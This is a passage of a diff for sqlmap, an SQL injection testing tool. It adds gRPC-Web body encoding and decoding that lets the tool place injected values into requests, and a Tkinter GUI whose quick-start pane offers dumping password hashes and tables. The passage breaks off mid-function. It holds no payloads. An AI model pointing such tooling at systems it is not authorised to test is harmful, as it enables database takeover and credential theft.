acceptance. + """ + + if not _isTextContentType(_requestContentType()): + return None, None + + try: + fields = _decode(_unframe(_b64decode(data))) + except Exception: + return None, None + + strings = _stringFields(fields) + if not strings: + return None, None + + counts = {} + for _, fn, _value in strings: + counts[fn] = counts.get(fn, 0) + 1 + + occurrence = {} + mapping = {} + view = {} + for index, fn, value in strings: + if counts[fn] == 1: + key = "f%d" % fn + else: + key = "f%d_%d" % (fn, occurrence.get(fn, 0)) + occurrence[fn] = occurrence.get(fn, 0) + 1 + mapping[key] = index + view[key] = value + + skeleton = {"fields": [list(_) for _ in fields], "map": mapping} + + return json.dumps(view), skeleton + +def encodeBody(jsonBody): + """ + Inverse of decodeBody(): overlay the (possibly injected) JSON string values onto the skeleton and + re-encode a grpc-web-text (base64) body, recomputing the length prefixes. Called at send time. + + Only a body whose keys are EXACTLY the gRPC surrogate keys is transformed - so unrelated JSON bodies + on the shared request path (CSRF/second-order/redirect/safe requests) pass through untouched. + """ + + if not kb.grpcWeb: + return jsonBody + + try: + parsed = json.loads(jsonBody) + except Exception: + return jsonBody + + if not isinstance(parsed, dict) or set(parsed) != set(kb.grpcWeb["map"]): + return jsonBody + + fields = [list(_) for _ in kb.grpcWeb["fields"]] + + for key, index in kb.grpcWeb["map"].items(): + value = parsed[key] + fields[index][2] = (value if hasattr(value, "encode") else str(value)).encode("utf-8") + + return base64.b64encode(_frame(_encode(fields))).decode("ascii") + +def decodeResponse(page, responseHeaders=None): + """ + Render a gRPC-Web response as readable text (message-frame fields + the trailer frame's + grpc-status/grpc-message = the back-end error) so the oracle/error-regex/in-band paths see content, + not an opaque blob. Handles trailers-only errors (status/message in response headers, empty body). + Unary only: at most one data frame, an optional final trailer, exact frame flags. Only a + grpc-web-text response body is decoded; anything else is left unchanged. + """ + + if not kb.grpcWeb: + return page + + out = [] + + status = _headerValue(responseHeaders, "grpc-status") + if status is not None: + out.append("grpc-status:%s" % status) + message = _headerValue(responseHeaders, "grpc-message") + if message: + out.append("grpc-message:%s" % unquote(message)) + + if page and _isTextContentType(_headerValue(responseHeaders, HTTP_HEADER.CONTENT_TYPE)): + try: + raw = _b64decode(page) + bodyOut = [] # separate so a mid-parse failure never leaks partial frame renders + pos = 0 + dataFrames = 0 + seenTrailer = False + while pos + 5 <= len(raw): + flag = raw[pos] if isinstance(raw[pos], int) else ord(raw[pos]) + length = struct.unpack(">I", raw[pos + 1:pos + 5])[0] + payload, pos = _readExact(raw, pos + 5, length) + if seenTrailer: + raise ValueError("frame after trailer") + if flag == 0x00: # data frame + dataFrames += 1 + if dataFrames > 1: + raise ValueError("streaming response not supported") + for _fn, wt, val in _decode(payload): + bodyOut.append(bytes(val).decode("utf-8", "replace") if wt == 2 else str(val)) + elif flag == 0x80: # trailer frame (grpc-status / grpc-message), must be last + seenTrailer = True + bodyOut.append(unquote(payload.decode("latin-1"))) + else: + raise ValueError("unsupported response frame flags 0x%02x" % flag) + if pos != len(raw): + raise ValueError("trailing bytes after final frame") + out.extend(bodyOut) # commit body renders only on a fully-valid parse + except Exception: + # keep status/message recovered from HEADERS (discard any partial body); append the raw page + out.append(page) + return "\n".join(out) + elif page: + out.append(page) # unsupported/absent response Content-Type: leave the body for the oracle + + return "\n".join(out) if out else page diff --git a/lib/utils/gui.py b/lib/utils/gui.py new file mode 100644 index 00000000000..452160bb468 --- /dev/null +++ b/lib/utils/gui.py @@ -0,0 +1,1911 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import io +import os +import subprocess +import sys +import tempfile +import threading +import time +import webbrowser + +from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths +from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSystemException +from lib.core.settings import DEV_EMAIL_ADDRESS +from lib.core.settings import IS_WIN +from lib.core.settings import ISSUES_PAGE +from lib.core.settings import GIT_PAGE +from lib.core.settings import SITE +from lib.core.settings import VERSION_STRING +from lib.core.settings import WIKI_PAGE +from thirdparty.six.moves import queue as _queue + +try: + _text_type = unicode +except NameError: + _text_type = str + +_binary_type = str if sys.version_info[0] < 3 else bytes +_clock = getattr(time, "perf_counter", getattr(time, "clock", time.time)) + +def _toText(value): + """Return a Unicode text value on both Python 2.7 and Python 3.x.""" + if value is None: + return u"" + if isinstance(value, _text_type): + return value + if isinstance(value, _binary_type): + try: + return value.decode("utf-8", "replace") + except Exception: + return _text_type(value) + try: + return _text_type(value) + except Exception: + return _text_type(repr(value)) + +def _toBytes(value): + """Return UTF-8 bytes suitable for a binary subprocess pipe.""" + if isinstance(value, _binary_type): + return value + return _toText(value).encode("utf-8", "replace") + +def _waitForProcess(process, timeout): + """Python 2 compatible replacement for Popen.wait(timeout=...).""" + deadline = _clock() + max(0.0, timeout) + while process.poll() is None and _clock() < deadline: + time.sleep(0.03) + return process.poll() + +def _list2cmdline(arguments): + values = [_toText(_) for _ in arguments] + if sys.version_info[0] < 3: + return _toText(subprocess.list2cmdline([_toBytes(_) for _ in values])) + return _toText(subprocess.list2cmdline(values)) + +# A restrained security-tool palette: the layout stays familiar, while the darker +# navigation, cyan accents and terminal surfaces add a light Havij-era character. +PALETTE = { + "base": "#d7dce1", + "mantle": "#243545", + "crust": "#101820", + "surface0": "#f8fafb", + "surface1": "#8d98a3", + "surface2": "#e7ebef", + "light": "#ffffff", + "dark": "#3c4650", + "text": "#17212b", + "subtext": "#33414f", + "overlay": "#657381", + "title2": "#0b79a5", + "blue": "#164d73", + "sapphire": "#087caf", + "sky": "#169ec1", + "green": "#2d9659", + "teal": "#178b86", + "red": "#bd3f45", + "maroon": "#8c3d56", + "mauve": "#86549a", + "pink": "#b34e83", + "peach": "#c56d35", + "yellow": "#b78a18", + "lavender": "#6172b8", + "flamingo": "#bf5b72", + "gold": "#d29b22", + "navText": "#eef4f8", + "navMuted": "#a9bac8", + "navHover": "#31485d", + "panel": "#eef2f5", + "border": "#9ca7b1", + "success": "#2f9b5b", + "command": "#13232e", + "commandText": "#8de19b", + "consoleText": "#d8e7de", + "consoleMuted": "#8fa69a", +} + +# a distinct accent color per section, so the sidebar icons read as a colorful, scannable set +ICON_COLORS = { + "Quick start": "yellow", + "Target": "red", + "Request": "sapphire", + "Optimization": "teal", + "Injection": "mauve", + "Detection": "sky", + "Techniques": "maroon", + "Fingerprint": "lavender", + "Enumeration": "green", + "Brute force": "peach", + "User-defined function injection": "pink", + "File system access": "gold", + "Operating system access": "blue", + "Windows registry access": "sapphire", + "General": "teal", + "Miscellaneous": "overlay", +} + +# Options surfaced on the curated "Quick start" pane (by destination), in display order +QUICK_START_DESTS = ( + "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short, readable sidebar labels for the (sometimes verbose) option-group titles +NAV_ALIASES = { + "User-defined function injection": "UDF injection", + "Operating system access": "OS access", + "Windows registry access": "Windows registry", + "File system access": "File system", +} + +TARGET_PLACEHOLDER = "http://www.target.com/vuln.php?id=1" + +HINT_DEFAULT = "Hover or focus a field to see what it does." +MAX_CONSOLE_LINES = 12000 +MAX_SEARCH_RESULTS = 12 + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): # argparse + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optChoices(option): + return getattr(option, "choices", None) + +def _optTakesValue(option): + if hasattr(option, "takes_value"): # optparse Option + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 # argparse: store_true/false has nargs 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + +def _optionLabel(option): + return ", ".join(_optStrings(option)) or (_optDest(option) or "") + +def _preferredFlag(option): + strings = _optStrings(option) + longOptions = [_ for _ in strings if _.startswith("--")] + return (longOptions or strings or [""])[0] + +def _quoteArg(value): + value = _toText(value) + if IS_WIN: + return _list2cmdline([value]) + if not value: + return u"''" + safe = u"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@%+=:,./-" + if all(character in safe for character in value): + return value + return u"'" + value.replace(u"'", u"'\"'\"'") + u"'" + +class _TooltipManager(object): + """One shared tooltip/hint dispatcher for every option control. + + Per-widget Python/Tcl bindings are surprisingly expensive when a pane contains + dozens of options. Widgets only receive a small Python attribute; four global + bindings handle the whole application. + """ + + def __init__(self, owner, root, tk, palette, delay=500): + self._owner = owner + self._root = root + self._tk = tk + self._palette = palette + self._delay = delay + self._widget = None + self._tip = None + self._job = None + root.bind_all("<Enter>", self._enter, add="+") + root.bind_all("<Leave>", self._leave, add="+") + root.bind_all("<FocusIn>", self._focusIn, add="+") + root.bind_all("<FocusOut>", self._focusOut, add="+") + root.bind_all("<ButtonPress>", self._hide, add="+") + + def attach(self, widget, text): + if text: + widget._sqlmap_help = text + + def _textFor(self, widget): + return getattr(widget, "_sqlmap_help", "") + + def _setHint(self, text): + try: + if hasattr(self._owner, "hint"): + self._owner.hint.set(text or HINT_DEFAULT) + except Exception: + pass + + def _enter(self, event): + text = self._textFor(event.widget) + if not text: + return + self._widget = event.widget + self._setHint(text) + self._cancel() + try: + self._job = self._root.after(self._delay, self._show) + except Exception: + self._job = None + + def _leave(self, event): + if event.widget is self._widget: + self._widget = None + self._cancel() + self._hide() + self._setHint(HINT_DEFAULT) + + def _focusIn(self, event): + text = self._textFor(event.widget) + if text: + self._setHint(text) + + def _focusOut(self, event): + if self._textFor(event.widget): + self._setHint(HINT_DEFAULT) + + def _cancel(self): + if self._job is not None: + try: + self._root.after_cancel(self._job) + except Exception: + pass + self._job = None + + def _show(self): + self._job = None + widget = self._widget + text = self._textFor(widget) if widget is not None else "" + if not text: + return + try: + if not widget.winfo_exists(): + return + x = widget.winfo_rootx() + 18 + y = widget.winfo_rooty() + widget.winfo_height() + 6 + self._tip = tw = self._tk.Toplevel(widget) + # Toplevels are initially mapped by Tk at the default 0,0 position. + # Keep the tooltip withdrawn until its children have been measured and + # its final geometry has been assigned; otherwise X11 briefly paints an + # empty box in the screen corner before the real tooltip appears. + tw.withdraw() + tw.wm_overrideredirect(True) + try: + tw.wm_transient(self._root) + except Exception: + pass + self._tk.Label(tw, text=text, justify="left", background=self._palette["surface0"], + foreground=self._palette["text"], relief="solid", borderwidth=1, + wraplength=460, padx=10, pady=7).pack() + tw.update_idletasks() + width = max(1, tw.winfo_reqwidth()) + height = max(1, tw.winfo_reqheight()) + x = min(x, max(0, tw.winfo_screenwidth() - width - 8)) + y = min(y, max(0, tw.winfo_screenheight() - height - 8)) + tw.wm_geometry("%dx%d+%d+%d" % (width, height, x, y)) + tw.deiconify() + tw.lift() + except Exception: + if self._tip is not None: + try: + self._tip.destroy() + except Exception: + pass + self._tip = None + + def _hide(self, event=None): + self._cancel() + if self._tip is not None: + try: + self._tip.destroy() + except Exception: + pass + self._tip = None + +class SqlmapGui(object): + def __init__(self, parser, tk, ttk, scrolledtext, messagebox, filedialog, font): + self.parser = parser + self.tk = tk + self.ttk = ttk + self.scrolledtext = scrolledtext + self.messagebox = messagebox + self.filedialog = filedialog + self.font = font + + self.widgets = {} # dest -> (type, shared effective-value Tk variable) + self.vars = {} # dest -> shared Tk variable (one per option) + self.optionByDest = {} + self.optionOrder = [] + self.sectionByDest = {} + self.searchIndex = [] + for group in _parserGroups(parser): + title = _groupTitle(group) + for option in _groupOptions(group): + dest = _optDest(option) + if dest: + if dest not in self.optionByDest: + self.optionOrder.append(dest) + self.optionByDest[dest] = option + self.sectionByDest[dest] = title + + for index, dest in enumerate(self.optionOrder): + option = self.optionByDest[dest] + section = self.sectionByDest.get(dest, "") + label = _optionLabel(option) + flag = _preferredFlag(option) + self.searchIndex.append(( + dest, + index, + label, + section, + flag, + " ".join((label, dest, section, _optHelp(option))).lower(), + )) + + self.panes = {} # name -> outer frame + self.navItems = {} # name -> (row frame, accent strip, icon canvas, label, badge) + self.canvases = {} # name -> canvas (for wheel binding) + self.inners = {} # name -> scrollable inner frame (populated lazily) + self.builders = {} # name -> callable that populates the inner frame + self.built = set() # names whose content has been built + self.buildStates = {} # name -> generator for incremental pane construction + self._prebuildQueue = [] + self._prebuildJob = None + self.badges = {} # name -> sidebar count badge label + self.sectionDests = {} # name -> [option dests in that section] + self.paneOrder = [] # nav order, for Up/Down navigation + self.currentPane = None + self.controlsByDest = {} # dest -> [(pane name, interactive widget)] + self.searchMatches = [] + + self.process = None + self.processQueue = None + self.processConfigFile = None + self.consoleWindow = None + self.consoleText = None + self.consoleStatus = None + self._runSerial = 0 + self._refreshJob = None + self._searchJob = None + self._headerJob = None + self._suspendRefresh = False + + try: + self.window = tk.Tk() + except Exception as ex: + raise SqlmapSystemException("unable to create GUI window ('%s')" % getSafeExString(ex)) + + self.tooltip = _TooltipManager(self, self.window, tk, PALETTE) + self._initializeVariables() + self._initFonts() + self._initStyle() + self._buildLayout() + self.window.protocol("WM_DELETE_WINDOW", self._closeApplication) + + def _initializeVariables(self): + for dest in self.optionOrder: + option = self.optionByDest[dest] + isBool = not _optTakesValue(option) + otype = "bool" if isBool else _optValueType(option) + default = defaults.get(dest) + if isBool: + var = self.tk.BooleanVar(value=bool(default)) + else: + var = self.tk.StringVar(value="" if default in (None, False) else default) + self.vars[dest] = var + self.widgets[dest] = (otype, var) + try: + var.trace("w", self._onOptionChanged) + except Exception: + pass + + def _onOptionChanged(self, *unused): + if not self._suspendRefresh: + self._scheduleRefresh() + + def _scheduleRefresh(self, delay=70): + if self._refreshJob is not None: + try: + self.window.after_cancel(self._refreshJob) + except Exception: + pass + self._refreshJob = self.window.after(delay, self._refreshDerivedState) + + def _refreshDerivedState(self): + self._refreshJob = None + self._updateStats() + self.command.set(self._buildCommandString()) + self._updateStatusLight() + + def _updateStatusLight(self): + try: + canvas = self.statusLight + except AttributeError: + return + try: + canvas.delete("all") + if self._isRunning(): + color = PALETTE["success"] + elif any(self._isOptionSet(_) for _ in self.widgets): + color = PALETTE["sky"] + else: + color = PALETTE["surface1"] + canvas.create_oval(2, 2, 10, 10, fill=color, outline=PALETTE["dark"]) + except Exception: + pass + + + def _initFonts(self): + family = self.font.nametofont("TkDefaultFont").actual("family") + self.fonts = { + "body": (family, 10), + "bodyBold": (family, 10, "bold"), + "small": (family, 9), + "nav": (family, 10), + "title": (family, 18, "bold"), + "subtitle": (family, 9), + "mono": (self.font.nametofont("TkFixedFont").actual("family"), 10), + } + + def _initStyle(self): + p = PALETTE + face = p["base"] + field = p["surface0"] + style = self.ttk.Style() + if "clam" in style.theme_names(): + style.theme_use("clam") + + style.configure(".", background=face, foreground=p["text"], fieldbackground=field, + bordercolor=p["border"], lightcolor=p["light"], darkcolor=p["surface1"], + troughcolor=p["surface2"], focuscolor=p["blue"], insertcolor=p["text"], + font=self.fonts["body"]) + + style.configure("TFrame", background=face) + style.configure("Bar.TFrame", background=p["panel"]) + style.configure("Nav.TFrame", background=p["mantle"]) + style.configure("Card.TFrame", background=p["panel"]) + style.configure("Panel.TFrame", background=p["surface0"]) + style.configure("PaneHeader.TFrame", background=p["surface0"]) + + style.configure("TLabel", background=face, foreground=p["text"]) + style.configure("Title.TLabel", background=p["blue"], foreground="#ffffff", font=self.fonts["title"]) + style.configure("Subtitle.TLabel", background=p["blue"], foreground="#dceaf2", font=self.fonts["subtitle"]) + style.configure("Hint.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("PanelHint.TLabel", background=p["surface0"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("PanelLabel.TLabel", background=p["surface0"], foreground=p["blue"], font=self.fonts["bodyBold"]) + style.configure("NavHint.TLabel", background=p["mantle"], foreground=p["navMuted"], font=self.fonts["small"]) + style.configure("NavTitle.TLabel", background=p["mantle"], foreground=p["navText"], font=self.fonts["bodyBold"]) + style.configure("Field.TLabel", background=p["panel"], foreground=p["text"]) + style.configure("Desc.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Pane.TLabel", background=p["surface0"], foreground=p["blue"], font=self.fonts["title"]) + style.configure("PaneCount.TLabel", background=p["surface0"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Stat.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Prompt.TLabel", background=field, foreground=p["text"], font=self.fonts["mono"]) + + style.configure("TButton", background=p["surface2"], foreground=p["text"], relief="raised", borderwidth=1, + lightcolor=p["light"], darkcolor=p["surface1"], bordercolor=p["border"], + focuscolor=p["blue"], padding=(11, 5)) + style.map("TButton", background=[("active", p["surface0"]), ("pressed", p["surface1"])], + relief=[("pressed", "sunken")]) + style.configure("Tool.TButton", padding=(9, 4), font=self.fonts["small"]) + style.configure("Primary.TButton", background=p["success"], foreground="#ffffff", bordercolor=p["green"], + lightcolor="#78c89a", darkcolor="#17643a", padding=(12, 5), font=self.fonts["bodyBold"]) + style.map("Primary.TButton", background=[("active", "#39aa68"), ("pressed", "#247c49")], + foreground=[("disabled", "#d7e4dc")]) + + style.configure("TEntry", fieldbackground=field, foreground=p["text"], relief="sunken", borderwidth=1, + bordercolor=p["border"], lightcolor=p["surface1"], darkcolor=p["light"], + insertcolor=p["text"], padding=5) + style.configure("Target.TEntry", fieldbackground="#ffffff", foreground=p["text"], relief="sunken", borderwidth=1, + bordercolor=p["sapphire"], lightcolor=p["surface1"], darkcolor=p["light"], + insertcolor=p["text"], padding=7, font=self.fonts["body"]) + style.configure("Search.TEntry", fieldbackground="#192936", foreground=p["navText"], relief="flat", borderwidth=1, + bordercolor="#4c6376", lightcolor="#4c6376", darkcolor="#17242f", + insertcolor="#ffffff", padding=6) + + style.configure("TCheckbutton", background=p["panel"], foreground=p["text"], focuscolor=p["panel"], padding=2, + indicatorbackground=field, indicatorforeground=p["blue"], indicatorrelief="sunken", + indicatorborderwidth=1, bordercolor=p["border"], lightcolor=p["surface1"], darkcolor=p["light"]) + style.map("TCheckbutton", background=[("active", p["panel"])], + indicatorbackground=[("active", field), ("selected", field)]) + + style.configure("TCombobox", fieldbackground=field, background=p["surface2"], foreground=p["text"], + arrowcolor=p["blue"], relief="sunken", borderwidth=1, bordercolor=p["border"], + lightcolor=p["surface1"], darkcolor=p["light"], padding=4) + + style.configure("Vertical.TScrollbar", background=p["surface2"], troughcolor=p["panel"], + bordercolor=p["border"], lightcolor=p["light"], darkcolor=p["surface1"], + arrowcolor=p["text"], relief="raised", width=16) + style.map("Vertical.TScrollbar", background=[("active", p["surface0"])]) + + self.window.configure(background=face) + + def _buildLayout(self): + tk = self.tk + p = PALETTE + self.window.title("sqlmap GUI") + self.window.minsize(980, 690) + self._buildMenu() + self._buildHeader() + + targetShell = tk.Frame(self.window, background=p["border"], borderwidth=0) + targetShell.pack(fill=tk.X, padx=16, pady=(10, 8)) + target = self.ttk.Frame(targetShell, style="Panel.TFrame", padding=(14, 10, 14, 12)) + target.pack(fill=tk.X, padx=1, pady=1) + tk.Frame(target, background=p["red"], height=3).pack(fill=tk.X, pady=(0, 9)) + + labelRow = self.ttk.Frame(target, style="Panel.TFrame") + labelRow.pack(fill=tk.X, pady=(0, 5)) + self.ttk.Label(labelRow, text="TARGET URL", style="PanelLabel.TLabel").pack(side=tk.LEFT) + self.ttk.Label(labelRow, text="Ctrl+L", style="PanelHint.TLabel").pack(side=tk.RIGHT) + self.ttk.Label(labelRow, text=" e.g. %s" % TARGET_PLACEHOLDER, style="PanelHint.TLabel").pack(side=tk.LEFT) + + targetRow = self.ttk.Frame(target, style="Panel.TFrame") + targetRow.pack(fill=tk.X) + urlVar = self._destVar("url", False) + self.targetEntry = self.ttk.Entry(targetRow, style="Target.TEntry", textvariable=urlVar) + self.targetEntry.pack(side=tk.LEFT, fill=tk.X, expand=True, ipady=1) + self.ttk.Button(targetRow, text="Paste", style="Tool.TButton", command=self._pasteTarget, + takefocus=False).pack(side=tk.LEFT, padx=(8, 0)) + self.ttk.Button(targetRow, text="Clear", style="Tool.TButton", command=self._clearTarget, + takefocus=False).pack(side=tk.LEFT, padx=(6, 0)) + self.controlsByDest.setdefault("url", []).append((None, self.targetEntry)) + + body = self.ttk.Frame(self.window, style="TFrame") + body.pack(expand=True, fill=tk.BOTH) + + navHolder = self.ttk.Frame(body, style="Nav.TFrame", width=224) + navHolder.pack(side=tk.LEFT, fill=tk.Y) + navHolder.pack_propagate(False) + + searchBar = self.ttk.Frame(navHolder, style="Nav.TFrame", padding=(11, 11, 11, 8)) + searchBar.pack(fill=tk.X) + searchTitle = self.ttk.Frame(searchBar, style="Nav.TFrame") + searchTitle.pack(fill=tk.X, pady=(0, 5)) + self.ttk.Label(searchTitle, text="OPTION FINDER", style="NavTitle.TLabel").pack(side=tk.LEFT) + self.ttk.Label(searchTitle, text="Ctrl+K", style="NavHint.TLabel").pack(side=tk.RIGHT) + self.searchVar = tk.StringVar(value="") + self.searchEntry = self.ttk.Entry(searchBar, style="Search.TEntry", textvariable=self.searchVar) + self.searchEntry.pack(fill=tk.X) + self.searchEntry.bind("<Return>", self._activateSearchResult) + self.searchEntry.bind("<Down>", self._searchMoveDown) + try: + self.searchVar.trace("w", self._scheduleSearch) + except Exception: + pass + + self.searchList = tk.Listbox(navHolder, height=6, activestyle="dotbox", exportselection=False, + bg="#192936", fg=p["navText"], selectbackground=p["sapphire"], + selectforeground="#ffffff", relief="flat", borderwidth=1, + highlightthickness=1, highlightbackground="#4c6376", + font=self.fonts["small"]) + self.searchList.bind("<ButtonRelease-1>", self._clickSearchResult) + self.searchList.bind("<Return>", self._activateSearchResult) + + self.navCanvas = tk.Canvas(navHolder, background=p["mantle"], highlightthickness=0, borderwidth=0) + navScroll = self.ttk.Scrollbar(navHolder, orient="vertical", command=self.navCanvas.yview, + style="Vertical.TScrollbar") + self.nav = self.ttk.Frame(self.navCanvas, style="Nav.TFrame") + self.nav.bind("<Configure>", lambda e: self.navCanvas.configure(scrollregion=self.navCanvas.bbox("all"))) + navWin = self.navCanvas.create_window((0, 0), window=self.nav, anchor="nw") + self.navCanvas.bind("<Configure>", lambda e: self.navCanvas.itemconfigure(navWin, width=e.width)) + self.navCanvas.configure(yscrollcommand=navScroll.set) + self.navCanvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) + navScroll.pack(side=tk.RIGHT, fill=tk.Y) + + tk.Frame(body, background=p["border"], width=1).pack(side=tk.LEFT, fill=tk.Y) + + self.content = self.ttk.Frame(body, style="Card.TFrame") + self.content.pack(side=tk.LEFT, expand=True, fill=tk.BOTH) + + cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(16, 8)) + cmdBar.pack(fill=tk.X) + self.ttk.Label(cmdBar, text=">_", style="PanelLabel.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + self.ttk.Button(cmdBar, text="Copy", style="Tool.TButton", command=self._copyCommand, + takefocus=False).pack(side=tk.RIGHT, padx=(7, 0)) + self.ttk.Button(cmdBar, text="Reset", style="Tool.TButton", command=self.resetOptions, + takefocus=False).pack(side=tk.RIGHT, padx=(7, 0)) + self.command = tk.StringVar(value="sqlmap.py") + cmdEntry = tk.Entry(cmdBar, textvariable=self.command, font=self.fonts["mono"], + bg=p["command"], fg=p["commandText"], readonlybackground=p["command"], + disabledforeground=p["commandText"], relief="flat", borderwidth=0, + highlightthickness=1, highlightbackground=p["border"], + highlightcolor=p["sapphire"], state="readonly") + cmdEntry.pack(side=tk.LEFT, fill=tk.X, expand=True, ipady=5) + + hintBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(16, 8)) + hintBar.pack(fill=tk.X) + self.statusLight = tk.Canvas(hintBar, width=12, height=12, background=p["panel"], + highlightthickness=0, borderwidth=0) + self.statusLight.pack(side=tk.LEFT, padx=(0, 8)) + self.stat = tk.StringVar(value="") + self.ttk.Label(hintBar, textvariable=self.stat, style="Stat.TLabel", anchor="e").pack(side=tk.RIGHT, padx=(12, 0)) + self.hint = tk.StringVar(value=HINT_DEFAULT) + self.ttk.Label(hintBar, textvariable=self.hint, style="Hint.TLabel", anchor="w").pack(side=tk.LEFT, fill=tk.X, expand=True) + + self._buildQuickStartPane() + for group in _parserGroups(self.parser): + self._buildGroupPane(group) + + self._prebuildQueue = list(self.paneOrder) + self._selectPane("Quick start") + self.window.bind("<Down>", lambda e: self._navKey(1)) + self.window.bind("<Up>", lambda e: self._navKey(-1)) + for seq in ("<MouseWheel>", "<Button-4>", "<Button-5>"): + self.window.bind_all(seq, self._onWheel) + self.window.bind("<F5>", lambda e: self.run()) + self.window.bind("<Control-r>", lambda e: self.run()) + self.window.bind("<Control-Return>", lambda e: self.run()) + self.window.bind("<Control-l>", lambda e: self._focusTarget()) + self.window.bind("<Control-k>", lambda e: self._focusSearch()) + self.window.bind("<Escape>", self._escapeAction) + self.window.bind("<Control-s>", lambda e: self.saveConfigDialog()) + self.window.bind("<Control-o>", lambda e: self.loadConfig()) + self._enableSelectAll() + self._refreshDerivedState() + self._center(self.window, 1060, 750) + self._schedulePanePrebuild(60) + + def _enableSelectAll(self): + # Tk binds Ctrl-A to "cursor to line start" by default; rebind it to select-all, + # which is what users expect (covers entries, comboboxes and the console text widget) + def selectEntry(event): + try: + event.widget.select_range(0, "end") + event.widget.icursor("end") + except Exception: + pass + return "break" + + def selectText(event): + try: + event.widget.tag_add("sel", "1.0", "end-1c") + except Exception: + pass + return "break" + + for cls in ("TEntry", "Entry", "TCombobox"): + self.window.bind_class(cls, "<Control-a>", selectEntry) + self.window.bind_class(cls, "<Control-A>", selectEntry) + for seq in ("<Control-a>", "<Control-A>"): + self.window.bind_class("Text", seq, selectText) + + def _buildMenu(self): + p = PALETTE + menuKw = dict(bg=p["panel"], fg=p["text"], activebackground=p["sapphire"], + activeforeground="#ffffff") + menubar = self.tk.Menu(self.window, borderwidth=0, **menuKw) + filemenu = self.tk.Menu(menubar, tearoff=0, **menuKw) + filemenu.add_command(label="Load configuration...", command=self.loadConfig) + filemenu.add_command(label="Save configuration...", command=self.saveConfigDialog) + filemenu.add_command(label="Reset all options", command=self.resetOptions) + filemenu.add_separator() + filemenu.add_command(label="Exit", command=self._closeApplication) + menubar.add_cascade(label="File", menu=filemenu) + menubar.add_command(label="Run", command=self.run) + helpmenu = self.tk.Menu(menubar, tearoff=0, **menuKw) + helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) + helpmenu.add_command(label="GitHub", command=lambda: webbrowser.open(GIT_PAGE)) + helpmenu.add_command(label="Wiki", command=lambda: webbrowser.open(WIKI_PAGE)) + helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) + helpmenu.add_separator() + helpmenu.add_command(label="About", command=lambda: self.messagebox.showinfo( + "About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) + menubar.add_cascade(label="Help", menu=helpmenu) + self.window.config(menu=menubar) + + def _buildHeader(self): + self._runHover = False + self.header = self.tk.Canvas(self.window, height=76, highlightthickness=0, borderwidth=0, background=PALETTE["base"]) + self.header.pack(fill=self.tk.X) + self.header.bind("<Configure>", self._scheduleHeaderDraw) + + def _scheduleHeaderDraw(self, event=None): + if self._headerJob is not None: + try: + self.window.after_cancel(self._headerJob) + except Exception: + pass + self._headerJob = self.window.after(35, self._drawHeader) + + def _interp(self, color1, color2, ratio): + a = [int(color1[_:_ + 2], 16) for _ in (1, 3, 5)] + b = [int(color2[_:_ + 2], 16) for _ in (1, 3, 5)] + return "#%02x%02x%02x" % tuple(int(a[_] + (b[_] - a[_]) * ratio) for _ in range(3)) + + def _drawHeader(self): + """Draw the header only for resize or process-state changes. + + Keep this deliberately cheap. Redrawing a canvas from an <Enter>/<Leave> + callback can remove the item currently under the pointer, which generates a + matching leave/enter pair and can turn into an event/redraw loop on Tk/X11. + """ + self._headerJob = None + p = PALETTE + c = self.header + c.delete("all") + width = max(1, c.winfo_width()) + height = 76 + + # A small, fixed number of primitives paints faster and more consistently + # than a strip-per-gradient header, especially on X11 and remote displays. + c.create_rectangle(0, 0, width, height, outline="", fill="#17445f") + c.create_rectangle(0, 0, 6, height, outline="", fill=p["sky"]) + c.create_rectangle(6, height - 4, width, height, outline="", fill="#0e7697") + c.create_line(22, 64, max(22, width - 160), 64, fill="#39738a") + + c.create_text(26, 26, text="sqlmap", anchor="w", fill="#ffffff", font=self.fonts["title"]) + c.create_text(124, 30, text=VERSION_STRING.replace("sqlmap/", "v"), anchor="w", + fill="#bfe1ed", font=self.fonts["subtitle"]) + c.create_text(26, 52, text="automatic SQL injection and database takeover tool", anchor="w", + fill="#dcecf2", font=self.fonts["small"]) + self._drawRunButton(width, height) + + def _isRunning(self): + return self.process is not None and self.process.poll() is None + + def _drawRunButton(self, width, height): + p = PALETTE + c = self.header + running = self._isRunning() + bw, bh = 116, 34 + x0 = width - bw - 22 + y0 = (height - 